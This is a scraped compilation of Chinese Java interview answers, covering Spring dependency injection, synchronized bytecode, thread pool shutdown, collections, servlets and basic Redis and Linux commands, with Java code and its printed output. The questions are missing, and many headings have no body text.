public static void main(String[] args) { String str = "ABCDE"; System.out.println(reverseString(str)); System.out.println(reverseStringByStringBuilderApi(str)); System.out.println(reverseStringByRecursion(str)); } /** * 自己实现 * @param str * @return */ public static String reverseString(String str) { if (str != null && str.length() > 0) { int len = str.length(); char[] chars = new char[len]; for (int i = len - 1; i >= 0; i--) { chars[len - 1 - i] = str.charAt(i); } return new String(chars); } return str; } /** * 使用 StringBuilder * @param str * @return */ public static String reverseStringByStringBuilderApi(String str) { if (str != null && str.length() > 0) { return new StringBuilder(str).reverse().toString(); } return str; } /** * 递归 * @param str * @return */ public static String reverseStringByRecursion(String str) { if (str == null || str.length() <= 1) { return str; } return reverseStringByRecursion(str.substring(1)) + str.charAt(0); }
}
服务治理是主要针对分布式服务框架的微服务,处理服务调用之间的关系、服务发布和发现、故障监控与处理,服务的参数配置、服务降级和熔断、服务使用率监控等。
需要服务治理的原因:
Dubbo 实现了常见的集群策略,并提供扩展点予以自行实现。
缺省时为 Random LoadBalance
List 和 Set 实现了 Collection 接口。
List:
Set:
Map:
Redis事务的特性:
事务三阶段:
相关指令:
注:
delete from table t where t.rowid != (select max(t1.rowid) from table t1 where t1.name=t.name)
spring boot 基于 spring 框架的快速开发整合包。
至于为什么要用,先看下官方解释
好处:
相当于乘以 2
如,1.1 = 1 * 2^0 + 1 * 2^-1 = 1.5
小数点向右移 1 位为 11, 1 * 2^1 + 1 * 2^0 = 3
1、xml中配置
节点注册 bean
节点的 factory-bean 参数指工厂 bean,factory-method 参数指定工厂方法
节点使用 set 方式注入
节点使用 构造方法注入
实测代码
maven pom 文件
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>4.2.4.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>4.2.4.RELEASE</version>
</dependency>
a) + ,set方法注入
class Bowl
package constxiong.interview.inject;
public class Bowl {
public void putRice() {
System.out.println("盛饭...");
}
}
class Person
package constxiong.interview.inject; public class Person { private Bowl bowl; public void eat() { bowl.putRice(); System.out.println("开始吃饭..."); } public void setBowl(Bowl bowl) { this.bowl = bowl; } }
spring 配置文件
<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:context="http://www.springframework.org/schema/context" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd"> <bean id="bowl" class="constxiong.interview.inject.Bowl" /> <bean id="person" class="constxiong.interview.inject.Person"> <property name="bowl" ref="bowl"></property> </bean> </beans>
测试类
package constxiong.interview.inject;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
public class InjectTest {
public static void main(String[] args) {
ApplicationContext context = new ClassPathXmlApplicationContext("spring_inject.xml");
Person person = (Person)context.getBean("person");
person.eat();
}
}
** b) 修改为 配置文件和class Person, + 节点使用 构造方法注入**
class Person
package constxiong.interview.inject; public class Person { private Bowl bowl; public Person(Bowl bowl) { this.bowl = bowl; } public void eat() { bowl.putRice(); System.out.println("开始吃饭..."); } }
spring 配置文件
<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:context="http://www.springframework.org/schema/context" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd"> <bean id="bowl" class="constxiong.interview.inject.Bowl" /> <bean id="person" class="constxiong.interview.inject.Person"> <constructor-arg name="bowl" ref="bowl"></constructor-arg> </bean> </beans>
c) 节点 factory-method 参数指定静态工厂方法
工厂类,静态工厂方法
package constxiong.interview.inject;
public class BowlFactory {
public static final Bowl getBowl() {
return new Bowl();
}
}
spring 配置文件
<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:context="http://www.springframework.org/schema/context" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd"> <bean id="bowl" class="constxiong.interview.inject.BowlFactory" factory-method="getBowl"/> <bean id="person" class="constxiong.interview.inject.Person"> <constructor-arg name="bowl" ref="bowl"></constructor-arg> </bean> </beans>
d) 非静态工厂方法,需要指定工厂 bean 和工厂方法
工厂类,非静态工厂方法
package constxiong.interview.inject;
public class BowlFactory {
public Bowl getBowl() {
return new Bowl();
}
}
配置文件
<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:context="http://www.springframework.org/schema/context" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd"> <bean id="bowlFactory" class="constxiong.interview.inject.BowlFactory"></bean> <bean id="bowl" factory-bean="bowlFactory" factory-method="getBowl"/> <bean id="person" class="constxiong.interview.inject.Person"> <constructor-arg name="bowl" ref="bowl"></constructor-arg> </bean> </beans>
2、注解
@Component //注册所有bean
@Controller //注册控制层的bean
@Service //注册服务层的bean
@Repository //注册dao层的bean
@Autowired 作用于 构造方法、字段、方法,常用于成员变量字段之上。
@Autowired + @Qualifier 注入,指定 bean 的名称
@Resource JDK 自带注解注入,可以指定 bean 的名称和类型等
测试代码
e) spring 配置文件,设置注解扫描目录
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/context
http://www.springframework.org/schema/context/spring-context.xsd">
<context:component-scan base-package="constxiong.interview" />
</beans>
class Bowl
package constxiong.interview.inject; import org.springframework.stereotype.Component; //import org.springframework.stereotype.Controller; //import org.springframework.stereotype.Repository; //import org.springframework.stereotype.Service; @Component //注册所有bean //@Controller //注册控制层的bean //@Service //注册服务层的bean //@Repository //注册dao层的bean public class Bowl { public void putRice() { System.out.println("盛饭..."); } }
class Person
package constxiong.interview.inject; //import javax.annotation.Resource; // import org.springframework.beans.factory.annotation.Autowired; //import org.springframework.beans.factory.annotation.Qualifier; import org.springframework.stereotype.Component; @Component //注册所有bean //@Controller //注册控制层的bean //@Service //注册服务层的bean //@Repository //注册dao层的bean public class Person { @Autowired // @Qualifier("bowl") // @Resource(name="bowl") private Bowl bowl; public void eat() { bowl.putRice(); System.out.println("开始吃饭..."); } }
测试类同上
a、b、c、d、e 测试结果都ok
盛饭...
开始吃饭...
一般默认情况下,在会话中,服务器存储 session 的 sessionid 是通过 cookie 存到浏览器里。
如果浏览器禁用了 cookie,浏览器请求服务器无法携带 sessionid,服务器无法识别请求中的用户身份,session失效。
但是可以通过其他方法在禁用 cookie 的情况下,可以继续使用session。
javap 是 Java class文件分解器,可以反编译,也可以查看 java 编译器生成的字节码等。
javap -help 用法: javap <options> <classes> 其中, 可能的选项包括: -help --help -? 输出此用法消息 -version 版本信息 -v -verbose 输出附加信息 -l 输出行号和本地变量表 -public 仅显示公共类和成员 -protected 显示受保护的/公共类和成员 -package 显示程序包/受保护的/公共类 和成员 (默认) -p -private 显示所有类和成员 -c 对代码进行反汇编 -s 输出内部类型签名 -sysinfo 显示正在处理的类的 系统信息 (路径, 大小, 日期, MD5 散列) -constants 显示静态最终常量 -classpath <path> 指定查找用户类文件的位置 -bootclasspath <path> 覆盖引导类文件的位置
测试类:
public class TestSynchronized {
public void sync() {
synchronized (this) {
System.out.println("sync");
}
}
}
使用命令进行反汇编 javap -c TestSynchronized
警告: 二进制文件TestSynchronized包含constxiong.interview.TestSynchronized Compiled from "TestSynchronized.java" public class constxiong.interview.TestSynchronized { public constxiong.interview.TestSynchronized(); Code: 0: aload_0 1: invokespecial #8 // Method java/lang/Object."<init>":()V 4: return public void sync(); Code: 0: aload_0 1: dup 2: astore_1 3: monitorenter 4: getstatic #15 // Field java/lang/System.out:Ljava/io/PrintStream; 7: ldc #21 // String sync 9: invokevirtual #22 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 12: aload_1 13: monitorexit 14: goto 20 17: aload_1 18: monitorexit 19: athrow 20: return Exception table: from to target type 4 14 17 any 17 19 17 any }
显示公历日历
指令后只有一个参数,表示年份,1-9999
指令后有两个参数,表示月份和年份
常用参数:
-3 显示前一月,当前月,后一月三个月的日历
-m 显示星期一为第一列
-j 显示在当前年第几天
-y [year]显示[year]年份的日历
cal 6 2019 显示 2019 年 6 月的日历
不属于。
Java 中 8 种基础的数据类型:byte、short、char、int、long、float、double、boolean
但是 String 类型却是最常用到的引用类型。
HashMap 是线程不安全的,效率高;HashTable 是线程安全的,效率低。
ConcurrentHashMap 可以做到既是线程安全的,同时也可以有很高的效率,得益于使用了分段锁。
JDK 1.7:
put 方法的逻辑较复杂:
get 方法较简单:
JDK 1.8:
put 方法逻辑:
get 方法逻辑:
JDK 1.7 到 JDK 1.8 中的 ConcurrentHashMap 最大的改动:
参考:
https://www.cnblogs.com/fsychen/p/9361858.html
浏览文件命令,less 可以随意浏览文件,less 在查看之前不会加载整个文件
常用参数: -i 忽略搜索时的大小写 -N 显示每行的行号 -o <文件名> 将less 输出的内容在指定文件中保存起来 -s 显示连续空行为一行 /字符串 向下搜索“字符串”的功能 ?字符串 向上搜索“字符串”的功能 n: 重复前一个搜索(与 / 或 ? 有关) N: 反向重复前一个搜索(与 / 或 ? 有关) -x <数字> 将“tab”键显示为规定的数字空格 b 向后翻一页 d 向后翻半页 h 显示帮助界面 Q 退出less 命令 u 向前滚动半页 y 向前滚动一行 空格键 滚动一行 回车键 滚动一页 [pagedown] 向下翻动一页 [pageup] 向上翻动一页 ps -aux | less -N ps 查看进程信息并通过 less 分页显示 less 1.log 2.log 查看多个文件,可以使用 n 查看下一个,使用 p 查看前一个
ps:
**2、从 RFC 规范的角度看 **
参考:
Java 中关键字 synchronized 表示只有一个线程可以获取作用对象的锁,执行代码,阻塞其他线程。
测试代码:
public class TestSynchronized { public void sync() { synchronized (this) { System.out.println("sync"); } } public synchronized void syncdo() { System.out.println("syncdo"); } public static synchronized void staticSyncdo() { System.out.println("staticSyncdo"); } }
通过JDK 反汇编指令 javap -c -v TestSynchronized
javap -c -v TestSynchronized Last modified 2019-5-27; size 719 bytes MD5 checksum e5058a43e76fe1cff6748d4eb1565658 Compiled from "TestSynchronized.java" public class constxiong.interview.TestSynchronized minor version: 0 major version: 49 flags: ACC_PUBLIC, ACC_SUPER Constant pool: #1 = Class #2 // constxiong/interview/TestSynchronized #2 = Utf8 constxiong/interview/TestSynchronized #3 = Class #4 // java/lang/Object #4 = Utf8 java/lang/Object #5 = Utf8 <init> #6 = Utf8 ()V #7 = Utf8 Code #8 = Methodref #3.#9 // java/lang/Object."<init>":()V #9 = NameAndType #5:#6 // "<init>":()V #10 = Utf8 LineNumberTable #11 = Utf8 LocalVariableTable #12 = Utf8 this #13 = Utf8 Lconstxiong/interview/TestSynchronized; #14 = Utf8 sync #15 = Fieldref #16.#18 // java/lang/System.out:Ljava/io/PrintStream; #16 = Class #17 // java/lang/System #17 = Utf8 java/lang/System #18 = NameAndType #19:#20 // out:Ljava/io/PrintStream; #19 = Utf8 out #20 = Utf8 Ljava/io/PrintStream; #21 = String #14 // sync #22 = Methodref #23.#25 // java/io/PrintStream.println:(Ljava/lang/String;)V #23 = Class #24 // java/io/PrintStream #24 = Utf8 java/io/PrintStream #25 = NameAndType #26:#27 // println:(Ljava/lang/String;)V #26 = Utf8 println #27 = Utf8 (Ljava/lang/String;)V #28 = Utf8 syncdo #29 = String #28 // syncdo #30 = Utf8 staticSyncdo #31 = String #30 // staticSyncdo #32 = Utf8 SourceFile #33 = Utf8 TestSynchronized.java { public constxiong.interview.TestSynchronized(); descriptor: ()V flags: ACC_PUBLIC Code: stack=1, locals=1, args_size=1 0: aload_0 1: invokespecial #8 // Method java/lang/Object."<init>":()V 4: return LineNumberTable: line 3: 0 LocalVariableTable: Start Length Slot Name Signature 0 5 0 this Lconstxiong/interview/TestSynchronized; public void sync(); descriptor: ()V flags: ACC_PUBLIC Code: stack=2, locals=2, args_size=1 0: aload_0 1: dup 2: astore_1 3: monitorenter 4: getstatic #15 // Field java/lang/System.out:Ljava/io/PrintStream; 7: ldc #21 // String sync 9: invokevirtual #22 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 12: aload_1 13: monitorexit 14: goto 20 17: aload_1 18: monitorexit 19: athrow 20: return Exception table: from to target type 4 14 17 any 17 19 17 any LineNumberTable: line 6: 0 line 7: 4 line 6: 12 line 9: 20 LocalVariableTable: Start Length Slot Name Signature 0 21 0 this Lconstxiong/interview/TestSynchronized; public synchronized void syncdo(); descriptor: ()V flags: ACC_PUBLIC, ACC_SYNCHRONIZED Code: stack=2, locals=1, args_size=1 0: getstatic #15 // Field java/lang/System.out:Ljava/io/PrintStream; 3: ldc #29 // String syncdo 5: invokevirtual #22 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 8: return LineNumberTable: line 12: 0 line 13: 8 LocalVariableTable: Start Length Slot Name Signature 0 9 0 this Lconstxiong/interview/TestSynchronized; public static synchronized void staticSyncdo(); descriptor: ()V flags: ACC_PUBLIC, ACC_STATIC, ACC_SYNCHRONIZED Code: stack=2, locals=0, args_size=0 0: getstatic #15 // Field java/lang/System.out:Ljava/io/PrintStream; 3: ldc #31 // String staticSyncdo 5: invokevirtual #22 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 8: return LineNumberTable: line 16: 0 line 17: 8 LocalVariableTable: Start Length Slot Name Signature } SourceFile: "TestSynchronized.java"
基于 TCP 协议的 Socket 编程的主要步骤
服务端:
客户端:
基于 UDP 协议的 Socket 编程的主要步骤
服务端:
客户端:
异常表示程序运行过程中可能出现的非正常状态
Java 异常的结构
Throwable
–Error:是程序无法处理的错误,表示运行应用程序中较严重问题。大多数错误与代码编写者执行的操作无关,而表示代码运行时 JVM(Java 虚拟机)出现的问题
–Exception:
--RuntimeException:运行时异常,编译通过了,但运行时出现的异常
--非 RuntimeException:编译时(受检)异常,编译器检测到某段代码可能会发生某些问题,需要程序员提前给代码做出错误的解决方案,否则编译不通过
异常产生的原理
异常的处理方式
JDK 内一套国际化的标准
Spring 在此基础上进行了整合,内建了 ResourceBundleMessageSource、ReloadableResourceBundleMessageSource、StaticMessageSource、DelegatingMessageSourc
分析:
创建文件夹
-m: 对新建目录设置存取权限,也可以用 chmod 命令设置;
-p: 若路径中的某些目录尚不存在,系统将自动建立不存在的目录
mkdir t 当前工作目录下创建名为 t 的文件夹
mkdir -p /tmp/test/t 在 tmp 目录下创建路径为 test 目录,test 目录下创建 t 目录
数组的优点:
数组的缺点:
JDK 提供集合的意义:
在JDK中,主要由以下类来实现 Java 反射机制,除了 Class 类,一般位于 java.lang.reflect 包中
三大范式只是一般设计数据库的基本理念,可以设计冗余较小、存储查询效率高的表结构。
但不能一味的去追求数据库设计范式,数据库设计应多关注需求和性能,重要程度:需求 - 性能 - 表结构。比如有时候添加一个冗余的字段可以大大提高查询性能。
作用:
在不确定参数的个数时,可以使用可变参数。
**语法:**参数类型…
特点:
主要区别
测试代码
import java.util.concurrent.Callable; import java.util.concurrent.ExecutionException; import java.util.concurrent.FutureTask; public class TestRunnableAndCallable { public static void main(String[] args) { testImplementsRunable(); testImplementsCallable(); testImplementsCallableWithException(); } //测试实现Runnable接口的方式创建、启动线程 public static void testImplementsRunable() { Thread t1 = new Thread(new CustomRunnable()); t1.setName("CustomRunnable"); t1.start(); } //测试实现Callable接口的方式创建、启动线程 public static void testImplementsCallable() { Callable<String> callable = new CustomCallable(); FutureTask<String> futureTask = new FutureTask<String>(callable); Thread t2 = new Thread(futureTask); t2.setName("CustomCallable"); t2.start(); try { System.out.println(futureTask.get()); } catch (InterruptedException e) { e.printStackTrace(); } catch (ExecutionException e) { e.printStackTrace(); } } //测试实现Callable接口的方式创建、启动线程,抛出异常 public static void testImplementsCallableWithException() { Callable<String> callable = new CustomCallable2(); FutureTask<String> futureTask = new FutureTask<String>(callable); Thread t3 = new Thread(futureTask); t3.setName("CustomCallableWithException"); t3.start(); try { System.out.println(futureTask.get()); } catch (InterruptedException e) { e.printStackTrace(); } catch (ExecutionException e) { e.printStackTrace(); } } } //实现Runnable接口,重写run方法 class CustomRunnable implements Runnable { public void run() { System.out.println(Thread.currentThread().getName()); // throw new RuntimeException("aaa"); } } //实现Callable接口,重写call方法 class CustomCallable implements Callable<String> { public String call() throws Exception { System.out.println(Thread.currentThread().getName()); return "Callable Result"; } } //实现Callable接口,重写call方法无法计算抛出异常 class CustomCallable2 implements Callable<String> { public String call() throws Exception { System.out.println(Thread.currentThread().getName()); throw new Exception("I can compute a result"); } }
打印结果
CustomRunnable
CustomCallable
Callable Result
CustomCallableWithException
java.util.concurrent.ExecutionException: java.lang.Exception: I can compute a result
at java.util.concurrent.FutureTask.report(FutureTask.java:122)
at java.util.concurrent.FutureTask.get(FutureTask.java:192)
at constxiong.interview.TestRunnableAndCallable.testImplementsCallableWithException(TestRunnableAndCallable.java:46)
at constxiong.interview.TestRunnableAndCallable.main(TestRunnableAndCallable.java:12)
Caused by: java.lang.Exception: I can compute a result
at constxiong.interview.CustomCallable2.call(TestRunnableAndCallable.java:81)
at constxiong.interview.CustomCallable2.call(TestRunnableAndCallable.java:1)
at java.util.concurrent.FutureTask.run(FutureTask.java:266)
at java.lang.Thread.run(Thread.java:748)
SELECT index
切换到指定的数据库,数据库索引号 index 用数字值指定,0 作为起始索引值
连接建立后,如果不 select,默认对 db 0 操作
永久代是 HotSpot VM 对方法区的实现,JDK 8 将其移除的部分原因如下:
线程池的5种状态:RUNNING、SHUTDOWN、STOP、TIDYING、TERMINATED。
见 ThreadPoolExecutor 源码
// runState is stored in the high-order bits
private static final int RUNNING = -1 <<COUNT_BITS;
private static final int SHUTDOWN = 0 <<COUNT_BITS;
private static final int STOP = 1 <<COUNT_BITS;
private static final int TIDYING = 2 <<COUNT_BITS;
private static final int TERMINATED = 3 <<COUNT_BITS;
RUNNING:线程池一旦被创建,就处于 RUNNING 状态,任务数为 0,能够接收新任务,对已排队的任务进行处理。
SHUTDOWN:不接收新任务,但能处理已排队的任务。调用线程池的 shutdown() 方法,线程池由 RUNNING 转变为 SHUTDOWN 状态。
STOP:不接收新任务,不处理已排队的任务,并且会中断正在处理的任务。调用线程池的 shutdownNow() 方法,线程池由(RUNNING 或 SHUTDOWN ) 转变为 STOP 状态。
TIDYING:
状态转换如图
状态:
The runState provides the main lifecyle control, taking on values:
RUNNING: Accept new tasks and process queued tasks
SHUTDOWN: Don't accept new tasks, but process queued tasks
STOP: Don't accept new tasks, don't process queued tasks,
and interrupt in-progress tasks
TIDYING: All tasks have terminated, workerCount is zero,
the thread transitioning to state TIDYING
will run the terminated() hook method
TERMINATED: terminated() has completed
状态间的变化
RUNNING -> SHUTDOWN
On invocation of shutdown(), perhaps implicitly in finalize()
(RUNNING or SHUTDOWN) -> STOP
On invocation of shutdownNow()
SHUTDOWN -> TIDYING
When both queue and pool are empty
STOP -> TIDYING
When pool is empty
TIDYING -> TERMINATED
When the terminated() hook method has completed
Threads waiting in awaitTermination() will return when the
state reaches TERMINATED.
都是非线程安全。
进一步分析:
|
||
package constxiong.interview; /** * 测试 | || * @author ConstXiong */ public class TestOr { public static void main(String[] args) { int x = 10; int y = 9; if (x == 10 | ++y > 9) { } System.out.println("x = " + x + ", y = " + y); int a = 10; int b = 9; if (a == 10 || ++b > 9) {//a == 10 为 true,所以 ++b 不会运算,b=9 } System.out.println("a = " + a + ", b = " + b); /* 00000000000000000000000000000001 | 00000000000000000000000000000010 = 00000000000000000000000000000011 */ System.out.println(1 | 2);//打印3 } }
打印
x = 10, y = 10
a = 10, b = 9
3
Spring 中最简单的自定义注解的方式就是使用现有的注解,标注在自定义的注解之上,复用原注解的能力。
/** * 自定义注解,继承自 @Component * * @author ConstXiong */ @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.TYPE) @Documented @Component public @interface CustomComponent { String value() default ""; } /** * 自定义 ComponentScan */ @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.TYPE) @Documented @ComponentScan public @interface CustomComponentScan { /** * 别名 */ @AliasFor(annotation=ComponentScan.class, value="basePackages") String[] v() default {}; } /** * 测试 Spring 自定义注解 * * @author ConstXiong */ @CustomComponentScan(v="constxiong") public class Test { public static void main(String[] args) throws Exception { AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(Test.class); System.out.println(context.getBean("u", User.class)); } }
JVM 采用的是可达性分析算法,通过 GC Roots 来判定对象是否存活,从 GC Roots 向下追溯、搜索,会产生 Reference Chain。当一个对象不能和任何一个 GC Root 产生关系时,就判定为垃圾。
软引用和弱引用,也会影响对象的回收。内存不足时会回收软引用对象;GC 时会回收弱引用对象。
catch 和 finally 语句块可以省略其中一个,否则编译会报错。
package constxiong.interview; public class TestOmitTryCatchFinally { public static void main(String[] args) { omitFinally(); omitCatch(); } /** * 省略finally 语句块 */ public static void omitFinally() { try { int i = 0; i += 1; System.out.println(i); } catch (Exception e) { e.printStackTrace(); } } /** * 省略 catch 语句块 */ public static void omitCatch() { int i = 0; try { i += 1; } finally { i = 10; } System.out.println(i); } }
javax.servlet.Servlet 接口定义 servlet 的标准,下面是 3.0.1 版 Servlet 接口中的方法:
//初始化
public void init(ServletConfig config) throws ServletException;
//返回 servlet 初始化信息与启动参数
public ServletConfig getServletConfig();
//被 servlet 容器调用,响应 servlet 请求
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException;
//返回 servlet 信息,如作者、版本和版权
public String getServletInfo();
//由 servlet 容器调用,把 servlet 去除
public void destroy();
javax.servlet.Servlet.GenericServlet 抽象类实现了 javax.servlet.Servlet,并无具体实现。
javax.servlet.http.HttpServlet 抽象类继承了 javax.servlet.Servlet.GenericServlet。HttpServlet 类中的 service() 方法根据 http 的 method 类型分别请求了如下方法
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
protected void doHead(HttpServletRequest req, HttpServletResponse resp)
protected void doPut(HttpServletRequest req, HttpServletResponse resp)
protected void doDelete(HttpServletRequest req, HttpServletResponse resp)
protected void doOptions(HttpServletRequest req, HttpServletResponse resp)
protected void doTrace(HttpServletRequest req, HttpServletResponse resp)
Java 虚拟机在执行 Java 程序的过程中会把他所管理的内存划分为若干个不同的数据区域:
JDK8 之前,Hotspot 中方法区的实现是永久代(Perm)
JDK8 开始使用元空间(Metaspace),以前永久代所有内容的字符串常量移至堆内存,其他内容移至元空间,元空间直接在本地内存分配。
Java 并发工具包中 java.util.concurrent.ExecutorService 接口定义了线程池任务提交、获取线程池状态、线程池停止的方法等。
JDK 1.8 中,线程池的停止一般使用 shutdown()、shutdownNow()、shutdown() + awaitTermination(long timeout, TimeUnit unit) 方法。
1、shutdown() 方法源码中解释
* Initiates an orderly shutdown in which previously submitted
* tasks are executed, but no new tasks will be accepted.
* Invocation has no additional effect if already shut down.
2、shutdownNow() 方法源码中解释
* Attempts to stop all actively executing tasks, halts the
* processing of waiting tasks, and returns a list of the tasks
* that were awaiting execution.
3、awaitTermination(long timeout, TimeUnit unit) 方法源码中解释
* Blocks until all tasks have completed execution after a shutdown
* request, or the timeout occurs, or the current thread is
* interrupted, whichever happens first.
*
* @param timeout the maximum time to wait
* @param unit the time unit of the timeout argument
* @return {@code true} if this executor terminated and
* {@code false} if the timeout elapsed before termination
* @throws InterruptedException if interrupted while waiting
1、使用 Executors.newFixedThreadPool(int nThreads) 创建固定大小线程池,测试 shutdown() 方法
package constxiong.concurrency.a013; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; /** * 测试固定数量线程池 shutdown() 方法 * @author ConstXiong */ public class TestFixedThreadPoolShutdown { public static void main(String[] args) { //创建固定 3 个线程的线程池 ExecutorService threadPool = Executors.newFixedThreadPool(3); //向线程池提交 10 个任务 for (int i = 1; i <= 10; i++) { final int index = i; threadPool.submit(() -> { System.out.println("正在执行任务 " + index); //休眠 3 秒 try { Thread.sleep(3000); } catch (InterruptedException e) { e.printStackTrace(); } }); } //休眠 4 秒 try { Thread.sleep(4000); } catch (InterruptedException e) { e.printStackTrace(); } //关闭线程池 threadPool.shutdown(); } }
打印结果如下,可以看出,主线程向线程池提交了 10 个任务,休眠 4 秒后关闭线程池,线程池把 10 个任务都执行完成后关闭了。
正在执行任务 1
正在执行任务 3
正在执行任务 2
正在执行任务 4
正在执行任务 6
正在执行任务 5
正在执行任务 8
正在执行任务 9
正在执行任务 7
正在执行任务 10
2、使用 Executors.newFixedThreadPool(int nThreads) 创建固定大小线程池,测试 shutdownNow() 方法
package constxiong.concurrency.a013; import java.util.List; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; /** * 测试固定数量线程池 shutdownNow() 方法 * @author ConstXiong */ public class TestFixedThreadPoolShutdownNow { public static void main(String[] args) { //创建固定 3 个线程的线程池 ExecutorService threadPool = Executors.newFixedThreadPool(3); //向线程池提交 10 个任务 for (int i = 1; i <= 10; i++) { final int index = i; threadPool.submit(() -> { System.out.println("正在执行任务 " + index); //休眠 3 秒 try { Thread.sleep(3000); } catch (InterruptedException e) { e.printStackTrace(); } }); } //休眠 4 秒 try { Thread.sleep(4000); } catch (InterruptedException e) { e.printStackTrace(); } //关闭线程池 List<Runnable> tasks = threadPool.shutdownNow(); System.out.println("剩余 " + tasks.size() + " 个任务未执行"); } }
打印结果如下,可以看出,主线程向线程池提交了 10 个任务,休眠 4 秒后关闭线程池,线程池执行了 6 个任务,抛出异常,打印返回的剩余未执行的任务个数。
正在执行任务 1 正在执行任务 2 正在执行任务 3 正在执行任务 4 正在执行任务 6 正在执行任务 5 剩余 4 个任务未执行 java.lang.InterruptedException: sleep interrupted at java.lang.Thread.sleep(Native Method) at constxiong.concurrency.a013.TestFixedThreadPoolShutdownNow.lambda$0(TestFixedThreadPoolShutdownNow.java:24) at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:748) java.lang.InterruptedException: sleep interrupted at java.lang.Thread.sleep(Native Method) at constxiong.concurrency.a013.TestFixedThreadPoolShutdownNow.lambda$0(TestFixedThreadPoolShutdownNow.java:24) at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:748) java.lang.InterruptedException: sleep interrupted at java.lang.Thread.sleep(Native Method) at constxiong.concurrency.a013.TestFixedThreadPoolShutdownNow.lambda$0(TestFixedThreadPoolShutdownNow.java:24) at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:748)
3、Executors.newFixedThreadPool(int nThreads) 创建固定大小线程池,测试 awaitTermination(long timeout, TimeUnit unit) 方法
package constxiong.concurrency.a013; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.TimeUnit; /** * 测试固定数量线程池 shutdownNow() 方法 * @author ConstXiong */ public class TestFixedThreadPoolAwaitTermination { public static void main(String[] args) { //创建固定 3 个线程的线程池 ExecutorService threadPool = Executors.newFixedThreadPool(3); //向线程池提交 10 个任务 for (int i = 1; i <= 10; i++) { final int index = i; threadPool.submit(() -> { System.out.println("正在执行任务 " + index); //休眠 3 秒 try { Thread.sleep(3000); } catch (InterruptedException e) { e.printStackTrace(); } }); } //关闭线程池,设置等待超时时间 3 秒 System.out.println("设置线程池关闭,等待 3 秒..."); threadPool.shutdown(); try { boolean isTermination = threadPool.awaitTermination(3, TimeUnit.SECONDS); System.out.println(isTermination ? "线程池已停止" : "线程池未停止"); } catch (InterruptedException e) { e.printStackTrace(); } //再等待超时时间 20 秒 System.out.println("再等待 20 秒..."); try { boolean isTermination = threadPool.awaitTermination(20, TimeUnit.SECONDS); System.out.println(isTermination ? "线程池已停止" : "线程池未停止"); } catch (InterruptedException e) { e.printStackTrace(); } } }
打印结果如下,可以看出,主线程向线程池提交了 10 个任务,申请关闭线程池 3 秒超时,3 秒后线程池并未成功关闭;再获取线程池关闭状态 20 秒超时,线程池成功关闭。
正在执行任务 1
正在执行任务 3
正在执行任务 2
设置线程池关闭,等待 3 秒...
线程池未停止
正在执行任务 4
正在执行任务 6
再等待 20 秒...
正在执行任务 5
正在执行任务 7
正在执行任务 9
正在执行任务 8
正在执行任务 10
线程池已停止
数组转 List ,使用 JDK 中 java.util.Arrays 工具类的 asList 方法
public static void testArray2List() {
String[] strs = new String[] {"aaa", "bbb", "ccc"};
List<String> list = Arrays.asList(strs);
for (String s : list) {
System.out.println(s);
}
}
